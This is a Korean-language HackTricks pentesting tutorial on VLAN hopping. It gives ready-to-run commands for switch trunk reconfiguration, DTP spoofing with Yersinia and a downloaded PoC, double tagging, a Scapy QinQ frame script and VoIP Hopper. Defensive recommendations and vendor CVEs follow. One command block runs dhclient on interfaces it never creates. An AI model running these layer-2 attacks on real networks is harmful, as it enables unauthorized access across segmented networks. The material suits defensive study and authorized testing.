Lateral VLAN Segmentation Bypass
Reading time: 7 minutes
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
스위치에 직접 접근할 수 있는 경우, VLAN 세분화를 우회할 수 있습니다. 이는 연결된 포트를 트렁크 모드로 재구성하고, 대상 VLAN을 위한 가상 인터페이스를 설정하며, 시나리오에 따라 동적으로(DHCP) 또는 정적으로 IP 주소를 설정하는 것을 포함합니다 (자세한 내용은 https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9 확인하세요.)
먼저, 특정 연결된 포트를 식별해야 합니다. 이는 일반적으로 CDP 메시지를 통해 수행되거나 include 마스크를 통해 포트를 검색하여 수행할 수 있습니다.
CDP가 작동하지 않는 경우, MAC 주소를 검색하여 포트 식별을 시도할 수 있습니다:
SW1(config)# show mac address-table | include 0050.0000.0500
트렁크 모드로 전환하기 전에 기존 VLAN 목록을 작성하고 해당 식별자를 확인해야 합니다. 이러한 식별자는 인터페이스에 할당되어 트렁크를 통해 다양한 VLAN에 접근할 수 있게 합니다. 사용 중인 포트는 예를 들어 VLAN 10과 연결되어 있습니다.
SW1# show vlan brief
트렁크 모드로 전환하려면 인터페이스 구성 모드에 들어가야 합니다:
SW1(config)# interface GigabitEthernet 0/2
SW1(config-if)# switchport trunk encapsulation dot1q
SW1(config-if)# switchport mode trunk
트렁크 모드로 전환하면 일시적으로 연결이 중단되지만, 이후에 복구할 수 있습니다.
그런 다음 가상 인터페이스가 생성되고, VLAN ID가 할당되며, 활성화됩니다:
# Legacy (vconfig) – still works but deprecated in modern kernels
sudo vconfig add eth0 10
sudo vconfig add eth0 20
sudo vconfig add eth0 50
sudo vconfig add eth0 60
sudo ifconfig eth0.10 up
sudo ifconfig eth0.20 up
sudo ifconfig eth0.50 up
sudo ifconfig eth0.60 up
# Modern (ip-link – preferred)
sudo modprobe 8021q
sudo ip link add link eth0 name eth0.10 type vlan id 10
sudo ip link add link eth0 name eth0.20 type vlan id 20
sudo ip link set eth0.10 up
sudo ip link set eth0.20 up
sudo dhclient -v eth0.50
sudo dhclient -v eth0.60
그 후, DHCP를 통해 주소 요청이 이루어집니다. 또는 DHCP가 불가능한 경우, 주소를 수동으로 구성할 수 있습니다:
sudo dhclient -v eth0.10
sudo dhclient -v eth0.20
인터페이스(VLAN 10)에서 정적 IP 주소를 수동으로 설정하는 예:
sudo ifconfig eth0.10 10.10.10.66 netmask 255.255.255.0
# or
sudo ip addr add 10.10.10.66/24 dev eth0.10
연결성은 VLAN 10, 20, 50 및 60의 기본 게이트웨이에 ICMP 요청을 시작하여 테스트됩니다.
궁극적으로 이 프로세스는 VLAN 세분화를 우회할 수 있게 하여 모든 VLAN 네트워크에 대한 제한 없는 액세스를 용이하게 하고, 후속 작업을 위한 기반을 마련합니다.
기타 VLAN-호핑 기술 (특권 스위치 CLI 없음)
이전 방법은 스위치에 대한 인증된 콘솔 또는 Telnet/SSH 액세스를 가정합니다. 실제 상황에서 공격자는 일반 액세스 포트에 연결되어 있는 경우가 많습니다. 다음 Layer-2 트릭은 스위치 OS에 로그인하지 않고도 수평으로 이동할 수 있게 해줍니다:
1. 동적 트렁킹 프로토콜(DTP)을 이용한 스위치 스푸핑
DTP가 활성화된 Cisco 스위치는 피어가 스위치라고 주장하면 기꺼이 트렁크를 협상합니다. 단일 DTP “desirable” 또는 “trunk” 프레임을 작성하면 액세스 포트가 모든 허용된 VLAN을 전송하는 802.1Q 트렁크로 변환됩니다.
Yersinia 및 여러 PoC가 이 프로세스를 자동화합니다:
# Become a trunk using Yersinia (GUI)
sudo yersinia -G # Launch GUI → Launch attack → DTP → enabling trunking
# Python PoC (dtp-spoof)
git clone https://github.com/fleetcaptain/dtp-spoof.git
sudo python3 dtp-spoof/dtp-spoof.py -i eth0 --desirable
Recon helper (포트의 DTP 상태를 수동으로 지문 인식하기):
sudo modprobe 8021q
sudo ip link add link eth0 name eth0.30 type vlan id 30
sudo ip addr add 10.10.30.66/24 dev eth0.30
sudo ip link set eth0.30 up
# or
wget https://gist.githubusercontent.com/mgeeky/3f678d385984ba0377299a844fb793fa/raw/dtpscan.py
sudo python3 dtpscan.py -i eth0
포트가 트렁크로 전환되면 802.1Q 서브 인터페이스를 생성하고 이전 섹션에 표시된 대로 정확히 피벗할 수 있습니다.
2. 더블 태깅 (네이티브 VLAN 남용)
공격자가 네이티브(언태그) VLAN에 있을 경우, 두 개의 802.1Q 헤더가 있는 조작된 프레임이 포트가 액세스 모드로 잠겨 있어도 두 번째 VLAN으로 이동할 수 있습니다. VLANPWN DoubleTagging.py(2022-2025 리프레시)와 같은 도구는 주입을 자동화합니다:
python3 DoubleTagging.py \
--interface eth0 \
--nativevlan 1 \
--targetvlan 20 \
--victim 10.10.20.24 \
--attacker 10.10.1.54
3. QinQ (802.1ad) 스태킹
많은 기업 코어는 Q-in-Q 서비스 제공자 캡슐화를 지원합니다. 허용되는 경우, 공격자는 공급자(S-tag) 내에서 임의의 802.1Q 태그가 있는 트래픽을 터널링하여 보안 구역을 넘을 수 있습니다. ethertype 0x88a8
을 캡처하고 Scapy로 외부 태그를 팝해 보십시오:
from scapy.all import *
outer = 100 # Service tag
inner = 30 # Customer / target VLAN
payload = Ether(dst="ff:ff:ff:ff:ff:ff")/Dot1Q(vlan=inner)/IP(dst="10.10.30.1")/ICMP()
frame = Dot1Q(type=0x88a8, vlan=outer)/payload
sendp(frame, iface="eth0")
4. Voice-VLAN Hijacking via LLDP/CDP (IP-Phone Spoofing)
기업 액세스 포트는 종종 “access + voice” 구성에 위치합니다: 워크스테이션을 위한 태그가 없는 데이터 VLAN과 CDP 또는 LLDP-MED를 통해 광고되는 태그가 있는 음성 VLAN. IP 전화를 가장함으로써 공격자는 VoIP VLAN을 자동으로 발견하고 이동할 수 있습니다—DTP가 비활성화되어 있을 때도 마찬가지입니다.
VoIP Hopper (Kali 2025.2에 패키지됨)은 CDP, DHCP 옵션 176/242, 및 전체 LLDP-MED 스푸핑을 지원합니다:
# One-shot discovery & hop
sudo voiphopper -i eth0 -f cisco-7940
# Interactive Assessment Mode (passive sniff → auto-hop when VVID learnt)
sudo voiphopper -i eth0 -z
# Result: new sub-interface eth0.<VVID> with a DHCP or static address inside the voice VLAN
이 기술은 데이터/음성 분리를 우회하며 2025년에는 많은 모델에서 LLDP 자동 정책이 기본적으로 활성화되어 있기 때문에 기업 엣지 스위치에서 매우 일반적입니다.
방어 권장 사항
- 모든 사용자-facing 포트에서 DTP 비활성화:
switchport mode access
+switchport nonegotiate
. - 모든 트렁크의 기본 VLAN을 사용되지 않는 블랙홀 VLAN으로 변경하고 태그 지정:
vlan dot1q tag native
. - 트렁크에서 불필요한 VLAN 제거:
switchport trunk allowed vlan 10,20
. - 포트 보안, DHCP 스누핑, 동적 ARP 검사 및 802.1X를 적용하여 악성 Layer-2 활동을 제한합니다.
- IP 전화 스푸핑이 필요하지 않은 경우 LLDP-MED 자동 음성 정책을 비활성화(또는 인증된 MAC OUI에 잠금)합니다.
- 802.1Q 분리에만 의존하기보다는 개인 VLAN 또는 L3 세분화를 선호합니다.
실제 벤더 취약점 (2022-2024)
완벽하게 강화된 스위치 구성도 펌웨어 버그에 의해 저해될 수 있습니다. 최근 사례는 다음과 같습니다:
- CVE-2022-20728† – Cisco Aironet/Catalyst 액세스 포인트는 기본 VLAN에서 비기본 WLAN VLAN으로의 주입을 허용하여 유선/무선 분리를 우회합니다.
- **CVE-2024-20465 (Cisco IOS Industrial Ethernet)**는 Resilient Ethernet Protocol을 전환한 후 SVI에서 ACL 우회를 허용하여 VRF/VLAN 간의 트래픽을 유출합니다. 패치 17.9.5 이상.
항상 VLAN 관련 우회/ACL 문제에 대한 벤더 권고 사항을 모니터링하고 인프라 이미지를 최신 상태로 유지하십시오.
참고 문헌
- https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9
- VLANPWN 공격 툴킷 – https://github.com/casterbytethrowback/VLANPWN
- Twingate "VLAN 홉핑이란?" (2024년 8월) – https://www.twingate.com/blog/glossary/vlan%20hopping
- VoIP Hopper 프로젝트 – https://github.com/hmgh0st/voiphopper
- Cisco 권고 “cisco-sa-apvlan-TDTtb4FY” – https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-apvlan-TDTtb4FY
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.